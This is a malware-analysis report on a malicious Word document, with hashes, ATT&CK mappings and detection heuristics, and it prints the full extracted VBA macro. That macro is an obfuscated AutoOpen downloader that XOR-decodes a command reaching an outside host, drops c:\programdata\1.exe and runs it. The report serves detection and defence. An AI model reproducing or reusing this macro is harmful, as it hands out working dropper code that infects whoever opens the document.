Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e64f5c95f57e265b…

MALICIOUS

Office (OOXML)

103.4 KB Created: 2020-08-06 11:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: cadb784736e8bb429f0ee355c7cda3ab SHA-1: f44bfdf6435d813eb447581f030c192dad8fa901 SHA-256: e64f5c95f57e265b882d1f3d8b17455ffac350ff7c4ee22bb9187a7e10ec66b4
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that executes a Shell command. This macro decodes a string which, when reconstructed, appears to be a command to execute a file. The script also copies a file named 'ActiveDocument.Shapes(1).Title' to 'c:\programdata\1.exe', indicating it's likely a downloader or dropper. The presence of the AutoOpen macro and Shell() call strongly suggests malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1347 bytes
SHA-256: e81388c458bb7137551be77d3ee7faaeffe121c976667e2fa132a8a8aca05aa2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Ad"
Function V(O1)
V = Split(O1, " ")
End Function
Function lX()
lX = "c:\programdata\1.exe"
End Function
Sub autoopen()
B = C7("115 125 116 48 63 115 48 50 99 117 100 48 101 45 101 98 124 115 113 115 120 117 54 54 99 117 100 48 98 45 98 117 119 99 54 54 99 117 100 48 99 45 102 98 35 34 54 54 115 113 124 124 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 117 104 117 48 63 53 101 53 48 63 118 78 48 120 100 100 96 42 63 63 104 123 38 34 37 124 118 62 115 127 125 63 96 101 96 121 63 119 105 98 101 62 96 120 96 47 124 45 100 113 104 117 118 38 62 115 113 114 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 100 125 96 48 54 54 48 115 113 124 124 48 53 98 53 53 99 53 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 100 125 96 50")
Call FileCopy(ActiveDocument.Shapes(1).Title, lX)

Shell B
End Sub

Attribute VB_Name = "kW"
Function C7(FZ)
fP = V(FZ)
GP = UBound(fP)
Hk = 0
bO = 8
Xq = ""
For hl = Hk To GP
 Xq = Xq & Chr(fP(hl) Xor 16)
Next hl
C7 = Xq
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: cf14f678ad794d5ac2c4664a80414fae83aeabbbfb3a805270a34c57cfac525c